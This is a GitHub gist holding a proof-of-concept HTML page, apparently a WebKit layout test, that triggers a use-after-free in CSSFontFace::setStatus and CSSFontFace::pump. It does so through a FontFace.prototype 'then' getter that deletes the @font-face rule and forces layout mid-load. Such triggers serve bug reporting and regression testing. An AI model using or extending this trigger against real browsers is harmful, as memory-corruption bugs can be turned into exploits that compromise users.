Skip to content

Instantly share code, notes, and snippets.

@ntfargo
Created May 11, 2026 20:43
Show Gist options
  • Select an option

  • Save ntfargo/3c6252a433b85a61685dbe223da27bba to your computer and use it in GitHub Desktop.

Select an option

Save ntfargo/3c6252a433b85a61685dbe223da27bba to your computer and use it in GitHub Desktop.
Use-after-free in CSSFontFace::setStatus and CSSFontFace::pump
<!DOCTYPE html>
<html>
<head>
<style id="s">
@font-face { font-family: x; src: url(nonexistent-font.woff); unicode-range: U+0042; }
</style>
</head>
<body>
<script>
if (window.testRunner) {
testRunner.dumpAsText();
testRunner.waitUntilDone();
}
window.onload = () => {
let A = new FontFace('x', 'local(Helvetica)', { unicodeRange: 'U+0041' });
document.fonts.add(A);
void A.loaded;
let fired = false;
Object.defineProperty(FontFace.prototype, 'then', {
configurable: true,
get() {
if (!fired && this === A) {
fired = true;
new FontFace('y', 'local(Helvetica Bold)', { unicodeRange: 'U+0041' });
new FontFace('z', 'local(Helvetica Italic)', { unicodeRange: 'U+0041' });
document.getElementById('s').sheet.deleteRule(0);
document.body.offsetTop;
}
return undefined;
}
});
document.fonts.load('1em x', 'AB');
setTimeout(() => {
if (window.testRunner)
testRunner.notifyDone();
}, 0);
};
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment